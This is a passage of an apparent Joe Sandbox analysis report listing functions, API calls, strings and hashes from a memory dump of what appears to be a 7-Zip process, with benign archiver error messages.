                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs
                                                                                                                                                                                                                                                              • String ID: Break signaled$ERROR: Can't allocate required memory!$System ERROR:
                                                                                                                                                                                                                                                              • API String ID: 1795875747-932691680
                                                                                                                                                                                                                                                              • Opcode ID: ab942afea8ab6607a7c9d9281537d5881677c1f1a7467293dd987fcb7a8caf1a
                                                                                                                                                                                                                                                              • Instruction ID: de186e3f7cfa1ed808b77d30f70de969c7c5222d019c3e8e6dc7fe6b5bc2f678
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ab942afea8ab6607a7c9d9281537d5881677c1f1a7467293dd987fcb7a8caf1a
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 53018CB1645909DACB08EFA4E8503F82362EB81785F805025EB0D87264DF3CE896C386
                                                                                                                                                                                                                                                              Function 006B695C Relevance: 6.0, APIs: 4, Instructions: 42COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: DirectoryRemovefree
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 736856642-0
                                                                                                                                                                                                                                                              • Opcode ID: efb7360f27999ac7bd03661593c0501c8d3dd599b59c9a8bab47d3410f2a5fdb
                                                                                                                                                                                                                                                              • Instruction ID: b75fa731fc615769beca07b14be8618a3bbef6c6730f6bf853cb640527608677
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: efb7360f27999ac7bd03661593c0501c8d3dd599b59c9a8bab47d3410f2a5fdb
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6BF086A624860281C930AB21E9503FD53669B857F4F440335EEA9477A5CE29C9C68704
                                                                                                                                                                                                                                                              Function 006B2EF4 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 37COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • _CxxThrowException.MSVCRT ref: 006B2F5B
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: malloc.MSVCRT ref: 006B2134
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: _CxxThrowException.MSVCRT ref: 006B214F
                                                                                                                                                                                                                                                              • memmove.MSVCRT(?,Unsupported switch postfix -stm,00000000,006B302B,?,?,?,?,006B3698), ref: 006B2F2C
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B2F34
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              • Unsupported switch postfix -stm, xrefs: 006B2EF6
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ExceptionThrow$freemallocmemmove
                                                                                                                                                                                                                                                              • String ID: Unsupported switch postfix -stm
                                                                                                                                                                                                                                                              • API String ID: 3321538808-3553869907
                                                                                                                                                                                                                                                              • Opcode ID: 3ba05a05aa46c940f23773d9ce02a237b61b661c07e43798567cd67be696040c
                                                                                                                                                                                                                                                              • Instruction ID: 1c104a3e00a583c5c3782763666d6165556c879d42fe71abad0a7871a2149b86
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3ba05a05aa46c940f23773d9ce02a237b61b661c07e43798567cd67be696040c
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 75F0F6B670024586DB389F4AE4902ADB3A3E7847D0F14C024DB9907711CE39D4C6C704
                                                                                                                                                                                                                                                              Function 006B2A9C Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 34COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • _CxxThrowException.MSVCRT ref: 006B2AFD
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: malloc.MSVCRT ref: 006B2134
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: _CxxThrowException.MSVCRT ref: 006B214F
                                                                                                                                                                                                                                                              • memmove.MSVCRT ref: 006B2ACE
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B2AD6
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ExceptionThrow$freemallocmemmove
                                                                                                                                                                                                                                                              • String ID: (LP-
                                                                                                                                                                                                                                                              • API String ID: 3321538808-3833670221
                                                                                                                                                                                                                                                              • Opcode ID: dee4ccff2bc834ea296647a4ce6a28e4725f2e66e5f6a145a280ef756b46b2c7
                                                                                                                                                                                                                                                              • Instruction ID: 4dd3da4442cc15de2b208210df60993af1fb093a97366b34fc12147a52a91e91
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: dee4ccff2bc834ea296647a4ce6a28e4725f2e66e5f6a145a280ef756b46b2c7
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 8CF090B660124A86DA24AF4AE8906ADB762E7847D4F24C029DF9907714DE39D8C68B04
                                                                                                                                                                                                                                                              Function 006FBF24 Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$fputcfree
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3819637083-0
                                                                                                                                                                                                                                                              • Opcode ID: cb788c44dfa0eaada90149aae3a18cff9b2e941fef6e7d72ec798f7d4b9bb75c
                                                                                                                                                                                                                                                              • Instruction ID: 9f3b7f0aaf07c64bf0bf9a2ca3fadc016a79b53b7723cbf0411354a602215e1a
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: cb788c44dfa0eaada90149aae3a18cff9b2e941fef6e7d72ec798f7d4b9bb75c
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 07F0F4A670494181DA30DF26F85436A6722AB99BF4F049331EFAE077A9DE2CC5458744
                                                                                                                                                                                                                                                              Function 006F3E08 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 33COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • memmove.MSVCRT ref: 006F3E51
                                                                                                                                                                                                                                                                • Part of subcall function 006F2B60: CompareFileTime.KERNEL32(?,?,?,00000000,006F3E64), ref: 006F2BA5
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CompareFileTimememmove
                                                                                                                                                                                                                                                              • String ID: alternate streams$files$streams
                                                                                                                                                                                                                                                              • API String ID: 1303509325-806849385
                                                                                                                                                                                                                                                              • Opcode ID: be883e452b7650b9078f8113c3e616bbeedde65b08412c4df6c6f1594ccd81f0
                                                                                                                                                                                                                                                              • Instruction ID: 3d07e36fa405f41095c3cf60c56b79b50a1b07d82c5d6c27caaf3e463f1d13d7
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: be883e452b7650b9078f8113c3e616bbeedde65b08412c4df6c6f1594ccd81f0
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: B8F0C29271056DA2EB64EB26D505BE96322FB45BC4FC05012AF0C07E549F38C3AACB04
                                                                                                                                                                                                                                                              Function 006B6618 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • FormatMessageW.KERNEL32 ref: 006B6676
                                                                                                                                                                                                                                                                • Part of subcall function 006B339C: free.MSVCRT ref: 006B33D7
                                                                                                                                                                                                                                                                • Part of subcall function 006B339C: memmove.MSVCRT(00000000,?,?,00000000,006B10A8), ref: 006B33F2
                                                                                                                                                                                                                                                              • LocalFree.KERNEL32 ref: 006B6698
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: FormatFreeLocalMessagefreememmove
                                                                                                                                                                                                                                                              • String ID: Error #
                                                                                                                                                                                                                                                              • API String ID: 2451246624-1299485822
                                                                                                                                                                                                                                                              • Opcode ID: 99fd73fc856dad1e88b4ccb444db1a8165f30a332f2d2e9cd02aa09722ea5f5f
                                                                                                                                                                                                                                                              • Instruction ID: eef7d6eaab8f4e14835061466bd7d605dd7d2dedb34483feeb18d1c589ae3b0a
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 99fd73fc856dad1e88b4ccb444db1a8165f30a332f2d2e9cd02aa09722ea5f5f
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F021F1B222428096CB60CF15E4407DE77B7E7C5BA4F948226EA8987794EF7DC5C9CB10
                                                                                                                                                                                                                                                              Function 006B49A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID: UNC
                                                                                                                                                                                                                                                              • API String ID: 0-337201128
                                                                                                                                                                                                                                                              • Opcode ID: caa09ef79893b1e0c723e2139b0e345877b12b567cf7e66d5e2a6cc5cce0967e
                                                                                                                                                                                                                                                              • Instruction ID: 7f5becac24f34b2f00bf2cba95ec70635a60f54d519378b84448792582fe725a
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: caa09ef79893b1e0c723e2139b0e345877b12b567cf7e66d5e2a6cc5cce0967e
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 08214AB6344A55C6DB20DB5AE4807E82362EB45B84F149037DF894772AEF3ACCC9C705
                                                                                                                                                                                                                                                              Function 006F05F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F0661
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F0680
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: memset.MSVCRT ref: 006FB20D
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: fputs.MSVCRT ref: 006FB232
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$freememset
                                                                                                                                                                                                                                                              • String ID: ERROR:
                                                                                                                                                                                                                                                              • API String ID: 2276422817-977468659
                                                                                                                                                                                                                                                              • Opcode ID: 9885eecbbf6ca8fc6e066b44c4d0d806fd7fb2900e3a304f7a56ab35e13a5ef5
                                                                                                                                                                                                                                                              • Instruction ID: ef9c7991a679fa3a1cd68c7277074f587f895a4e6d13912e6b32e8423eb8c917
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 9885eecbbf6ca8fc6e066b44c4d0d806fd7fb2900e3a304f7a56ab35e13a5ef5
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C211869220160541DA64FB26E9653BF6362BB85BD0F044639EF6B47791DF3CD485C348
                                                                                                                                                                                                                                                              Function 006BB45C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60registryCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,80000001), ref: 006BB4AA
                                                                                                                                                                                                                                                              • RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,80000001), ref: 006BB4F8
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: QueryValue
                                                                                                                                                                                                                                                              • String ID: Path64
                                                                                                                                                                                                                                                              • API String ID: 3660427363-321863482
                                                                                                                                                                                                                                                              • Opcode ID: ce2d8586953f7850c663cd00a09a8bd9eb970d832503358bfea85760a13bb2cd
                                                                                                                                                                                                                                                              • Instruction ID: 9c8dd209421d9da3e2f372875fb86106dd835c1b0523c3e1f004c2a6542fc6a3
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ce2d8586953f7850c663cd00a09a8bd9eb970d832503358bfea85760a13bb2cd
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: AB217FB3614600C7EB10CF24E4547AE73A1F784B84F20902AEB8907B68DB7DC885CF40
                                                                                                                                                                                                                                                              Function 006F427C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              • Can not open the file as archive, xrefs: 006F42D8
                                                                                                                                                                                                                                                              • Can not open encrypted archive. Wrong password?, xrefs: 006F4297
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs
                                                                                                                                                                                                                                                              • String ID: Can not open encrypted archive. Wrong password?$Can not open the file as archive
                                                                                                                                                                                                                                                              • API String ID: 1795875747-2399861261
                                                                                                                                                                                                                                                              • Opcode ID: 149c3983409531ef4f283d50ab509c3b453b3246c3b38dfffb22ccf5e133ea28
                                                                                                                                                                                                                                                              • Instruction ID: 74b084c11af73c0783fe521728fc29afa0ad58cca26d08fd9a8833a27879b3de
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 149c3983409531ef4f283d50ab509c3b453b3246c3b38dfffb22ccf5e133ea28
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: CF01A2A271064A92EF54EB26E8603AF2363AB45BC4F54A032EF0A47744DE3DC595C714
                                                                                                                                                                                                                                                              Function 006B93D8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: wcscmp
                                                                                                                                                                                                                                                              • String ID: \??\
                                                                                                                                                                                                                                                              • API String ID: 3392835482-3047946824
                                                                                                                                                                                                                                                              • Opcode ID: 877544d1592a68484731fd63782ff1f2adae2ffaa1fbb9196b429caabd26276c
                                                                                                                                                                                                                                                              • Instruction ID: bcc604e1c1f603b4dbcd2a386d1aec884b514c274e7a7a8b74d6ed79da9e29fc
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 877544d1592a68484731fd63782ff1f2adae2ffaa1fbb9196b429caabd26276c
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 8DF090A220454593CE149B2AE9A03AC2323FF85B85F905836CB4A87B14CF20C4FBC324
                                                                                                                                                                                                                                                              Function 006F1FE8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F2011
                                                                                                                                                                                                                                                                • Part of subcall function 006B2300: fputc.MSVCRT ref: 006B2311
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputcfputs
                                                                                                                                                                                                                                                              • String ID: Scan$Scanning
                                                                                                                                                                                                                                                              • API String ID: 269475090-1436252306
                                                                                                                                                                                                                                                              • Opcode ID: ffb3ed3a4ca004d2504b304dc7fbd21c8946e14a3d26513a036a6eb6b827f317
                                                                                                                                                                                                                                                              • Instruction ID: 30387581267d1b5e0e811aca59d12784715566bcf83214ab02b4e26f535f7d0b
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ffb3ed3a4ca004d2504b304dc7fbd21c8946e14a3d26513a036a6eb6b827f317
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 9EF0B4A370554691EB01EF34C9653FC2362EB10B88F4881358B0D4B264DF2DC8CAC710
                                                                                                                                                                                                                                                              Function 006BAFA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25memoryCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: AllocExceptionStringThrow
                                                                                                                                                                                                                                                              • String ID: out of memory
                                                                                                                                                                                                                                                              • API String ID: 3773818493-2599737071
                                                                                                                                                                                                                                                              • Opcode ID: ce28fcea7ee96d73b8b783164c7ae5dc4e7789fb7bb4cf3f4b3e7c6f29d84c20
                                                                                                                                                                                                                                                              • Instruction ID: 50b3b5cf666851fb59ce6a7d6fabe66b212b43904c43a8fe33095572736c20c5
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ce28fcea7ee96d73b8b783164c7ae5dc4e7789fb7bb4cf3f4b3e7c6f29d84c20
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 16F08C72601B8592DB049B15F9857986372EF85784F548028CB4C07B24EB7AC8E9C304
                                                                                                                                                                                                                                                              Function 006FB7C4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
